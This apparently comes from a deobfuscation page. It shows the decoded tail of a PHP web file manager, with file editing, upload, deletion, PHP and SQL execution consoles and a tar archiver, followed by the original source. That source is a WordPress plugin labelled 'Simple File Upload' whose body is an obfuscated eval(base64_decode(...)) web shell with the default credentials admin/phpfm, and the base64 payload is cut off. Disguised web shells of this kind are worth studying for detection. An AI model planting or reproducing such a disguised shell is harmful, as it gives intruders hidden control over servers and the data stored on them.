.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no files');
}
?>
<table class="whole" id="header_table" >
<tr>
<th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
<td class="row2">
<table>
<tr>
<td>
<?=fm_home()?>
</td>
<td>
<?php if(!empty($fm_config['make_directory'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="dirname" size="15">
<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
</form>
<?php } ?>
</td>
<td>
<?php if(!empty($fm_config['new_file'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="filename" size="15">
<input type="submit" name="mkfile" value="<?=__('New file')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_run_input('php')?>
</td>
<td>
<?=fm_run_input('sql')?>
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
<?php if (!empty($fm_config['upload_file'])) { ?>
<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
<input type="submit" name="test" value="<?=__('Upload')?>" />
</form>
<?php } ?>
</td>
<td>
<?php if ($auth['authorize']) { ?>
<form action="" method="post">
<input name="quit" type="hidden" value="1">
<?=__('Hello')?>, <?=$auth['login']?>
<input type="submit" value="<?=__('Quit')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_lang_form($language)?>
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr>
<th style="white-space:nowrap"> <?=__('Filename')?> </th>
<th style="white-space:nowrap"> <?=__('Size')?> </th>
<th style="white-space:nowrap"> <?=__('Date')?> </th>
<th style="white-space:nowrap"> <?=__('Rights')?> </th>
<th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$files[] = $file;
}
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
$link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file);
$style = 'row2';
if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'
/'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>'
: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file);
$arlink = in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File selected').':
'. $file. '.
'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
}
$deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
$rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>">
<td><?=$link?></td>
<td><?=$filedata[7]?></td>
<td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
<td><?=$rightstext?></td>
<td><?=$deletelink?></td>
<td><?=$renamelink?></td>
<td><?=$loadlink?></td>
<td><?=$arlink?></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
<div class="row3"><?php
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
var $archive_name = '';
var $tmp_file = 0;
var $file_pos = 0;
var $isGzipped = true;
var $errors = array();
var $files = array();
function __construct(){
if (!isset($this->errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return $this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name, $this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to ').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == ''){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.': <br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->archive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is incorrect');;
return false;
}
$filename = str_replace('\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
else $header['filename'] = $path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').' '.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->errors[] = __('Cannot write to file').' '.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) != $header['size']) {
$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').' '.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').': '.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));
$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['checksum'] = OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0)) return true;
$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0;
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['user_id'] = OctDec(trim($unpack_data['user_id']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result : '');
}
} else $result = '';
return $result;
}
}
Did this file decode correctly?
Original Code
<?php
/*
Plugin Name: File Upload
Plugin URI: https://github.com/Xi4u7
Description: Simple File Upload
Version: 1.0
Author URI: https://github.com/Xi4u7
*/
// Copied and modified from https://github.com/leonjza/wordpress-shell
eval(base64_decode('LyogUEhQIEZpbGUgbWFuYWdlciB2ZXIgMS40ICovCgovLyBDb25maWd1cmF0aW9uIOKAlCBkbyBub3QgY2hhbmdlIG1hbnVhbGx5IQokYXV0aG9yaXphdGlvbiA9ICd7ImF1dGhvcml6ZSI6IjAiLCJsb2dpbiI6ImFkbWluIiwicGFzc3dvcmQiOiJwaHBmbSIsImNvb2tpZV9uYW1lIjoiZm1fdXNlciIsImRheXNfYXV0aG9yaXphdGlvbiI6IjMwIiwic2NyaXB0IjoiPHNjcmlwdCB0eXBlPVwidGV4dFwvamF2YXNjcmlwdFwiIHNyYz1cImh0dHBzOlwvXC93d3cuY2RvbGl2ZXQuY29tXC9lZGl0YXJlYVwvZWRpdGFyZWFcL2VkaXRfYXJlYVwvZWRpdF9hcmVhX2Z1bGwuanNcIj48XC9zY3JpcHQ+XHJcbjxzY3JpcHQgbGFuZ3VhZ2U9XCJKYXZhc2NyaXB0XCIgdHlwZT1cInRleHRcL2phdmFzY3JpcHRcIj5cclxuZWRpdEFyZWFMb2FkZXIuaW5pdCh7XHJcbmlkOiBcIm5ld2NvbnRlbnRcIlxyXG4sZGlzcGxheTogXCJsYXRlclwiXHJcbixzdGFydF9oaWdobGlnaHQ6IHRydWVcclxuLGFsbG93X3Jlc2l6ZTogXCJib3RoXCJcclxuLGFsbG93X3RvZ2dsZTogdHJ1ZVxyXG4sd29yZF93cmFwOiB0cnVlXHJcbixsYW5ndWFnZTogXCJydVwiXHJcbixzeW50YXg6IFwicGhwXCJcdFxyXG4sdG9vbGJhcjogXCJzZWFyY2gsIGdvX3RvX2xpbmUsIHwsIHVuZG8sIHJlZG8sIHwsIHNlbGVjdF9mb250LCB8LCBzeW50YXhfc2VsZWN0aW9uLCB8LCBjaGFuZ2Vfc21vb3RoX3NlbGVjdGlvbiwgaGlnaGxpZ2h0LCByZXNldF9oaWdobGlnaHQsIHwsIGhlbHBcIlxyXG4sc3ludGF4X3NlbGVjdGlvbl9hbGxvdzogXCJjc3MsaHRtbCxqcyxwaHAscHl0aG9uLHhtbCxjLGNwcCxzcWwsYmFzaWMscGFzXCJcclxufSk7XHJcbjxcL3NjcmlwdD4ifSc7CiRwaHBfdGVtcGxhdGVzID0gJ3siU2V0dGluZ3MiOiJnbG9iYWwgJGZtX2NvbmZpZztcclxudmFyX2V4cG9ydCgkZm1fY29uZmlnKTsiLCJCYWNrdXAgU1FMIHRhYmxlcyI6ImVjaG8gZm1fYmFja3VwX3RhYmxlcygpOyJ9JzsKJHNxbF90ZW1wbGF0ZXMgPSAneyJBbGwgYmFzZXMiOiJTSE9XIERBVEFCQVNFUzsiLCJBbGwgdGFibGVzIjoiU0hPVyBUQUJMRVM7In0nOwokdHJhbnNsYXRpb24gPSAneyJpZCI6ImVuIiwiQWRkIjoiQWRkIiwiQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGRpcmVjdG9yeSAocmVjdXJzaXZlbHkpPyI6IkFyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgdGhpcyBkaXJlY3RvcnkgKHJlY3Vyc2l2ZWx5KT8iLCJBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXMgZmlsZT8iOiJBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXMgZmlsZT8iLCJBcmNoaXZpbmciOiJBcmNoaXZpbmciLCJBdXRob3JpemF0aW9uIjoiQXV0aG9yaXphdGlvbiIsIkJhY2siOiJCYWNrIiwiQ2FuY2VsIjoiQ2FuY2VsIiwiQ2hpbmVzZSI6IkNoaW5lc2UiLCJDb21wcmVzcyI6IkNvbXByZXNzIiwiQ29uc29sZSI6IkNvbnNvbGUiLCJDb29raWUiOiJDb29raWUiLCJDcmVhdGVkIjoiQ3JlYXRlZCIsIkRhdGUiOiJEYXRlIiwiRGF5cyI6IkRheXMiLCJEZWNvbXByZXNzIjoiRGVjb21wcmVzcyIsIkRlbGV0ZSI6IkRlbGV0ZSIsIkRlbGV0ZWQiOiJEZWxldGVkIiwiRG93bmxvYWQiOiJEb3dubG9hZCIsImRvbmUiOiJkb25lIiwiRWRpdCI6IkVkaXQiLCJFbnRlciI6IkVudGVyIiwiRW5nbGlzaCI6IkVuZ2xpc2giLCJFcnJvciBvY2N1cnJlZCI6IkVycm9yIG9jY3VycmVkIiwiRmlsZSBtYW5hZ2VyIjoiRmlsZSBtYW5hZ2VyIiwiRmlsZSBzZWxlY3RlZCI6IkZpbGUgc2VsZWN0ZWQiLCJGaWxlIHVwZGF0ZWQiOiJGaWxlIHVwZGF0ZWQiLCJGaWxlbmFtZSI6IkZpbGVuYW1lIiwiRmlsZXMgdXBsb2FkZWQiOiJGaWxlcyB1cGxvYWRlZCIsIkZyZW5jaCI6IkZyZW5jaCIsIkdlbmVyYXRpb24gdGltZSI6IkdlbmVyYXRpb24gdGltZSIsIkdlcm1hbiI6Ikdlcm1hbiIsIkhvbWUiOiJIb21lIiwiUXVpdCI6IlF1aXQiLCJMYW5ndWFnZSI6Ikxhbmd1YWdlIiwiTG9naW4iOiJMb2dpbiIsIk1hbmFnZSI6Ik1hbmFnZSIsIk1ha2UgZGlyZWN0b3J5IjoiTWFrZSBkaXJlY3RvcnkiLCJOYW1lIjoiTmFtZSIsIk5ldyI6Ik5ldyIsIk5ldyBmaWxlIjoiTmV3IGZpbGUiLCJubyBmaWxlcyI6Im5vIGZpbGVzIiwiUGFzc3dvcmQiOiJQYXNzd29yZCIsInBpY3R1cmVzIjoicGljdHVyZXMiLCJSZWN1cnNpdmVseSI6IlJlY3Vyc2l2ZWx5IiwiUmVuYW1lIjoiUmVuYW1lIiwiUmVzZXQiOiJSZXNldCIsIlJlc2V0IHNldHRpbmdzIjoiUmVzZXQgc2V0dGluZ3MiLCJSZXN0b3JlIGZpbGUgdGltZSBhZnRlciBlZGl0aW5nIjoiUmVzdG9yZSBmaWxlIHRpbWUgYWZ0ZXIgZWRpdGluZyIsIlJlc3VsdCI6IlJlc3VsdCIsIlJpZ2h0cyI6IlJpZ2h0cyIsIlJ1c3NpYW4iOiJSdXNzaWFuIiwiU2F2ZSI6IlNhdmUiLCJTZWxlY3QiOiJTZWxlY3QiLCJTZWxlY3QgdGhlIGZpbGUiOiJTZWxlY3QgdGhlIGZpbGUiLCJTZXR0aW5ncyI6IlNldHRpbmdzIiwiU2hvdyI6IlNob3ciLCJTaG93IHNpemUgb2YgdGhlIGZvbGRlciI6IlNob3cgc2l6ZSBvZiB0aGUgZm9sZGVyIiwiU2l6ZSI6IlNpemUiLCJTcGFuaXNoIjoiU3BhbmlzaCIsIlN1Ym1pdCI6IlN1Ym1pdCIsIlRhc2siOiJUYXNrIiwidGVtcGxhdGVzIjoidGVtcGxhdGVzIiwiVWtyYWluaWFuIjoiVWtyYWluaWFuIiwiVXBsb2FkIjoiVXBsb2FkIiwiVmFsdWUiOiJWYWx1ZSIsIkhlbGxvIjoiSGVsbG8ifSc7Ci8vIGVuZCBjb25maWd1cmF0aW9uCgovLyBQcmVwYXJhdGlvbnMKJHN0YXJ0dGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7CiRzdGFydHRpbWUgPSAkc3RhcnR0aW1lWzFdICsgJHN0YXJ0dGltZVswXTsKJGxhbmdzID0gYXJyYXkoJ2VuJywncnUnLCdkZScsJ2ZyJywndWsnKTsKJHBhdGggPSBlbXB0eSgkX1JFUVVFU1RbJ3BhdGgnXSkgPyAkcGF0aCA9IHJlYWxwYXRoKCcuJykgOiByZWFscGF0aCgkX1JFUVVFU1RbJ3BhdGgnXSk7CiRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkcGF0aCkgLiAnLyc7CiRtYWluX3BhdGg9c3RyX3JlcGxhY2UoJ1xcJywgJy8nLHJlYWxwYXRoKCcuLycpKTsKJHBoYXJfbWF5YmUgPSAodmVyc2lvbl9jb21wYXJlKHBocHZlcnNpb24oKSwiNS4zLjAiLCI8IikpP3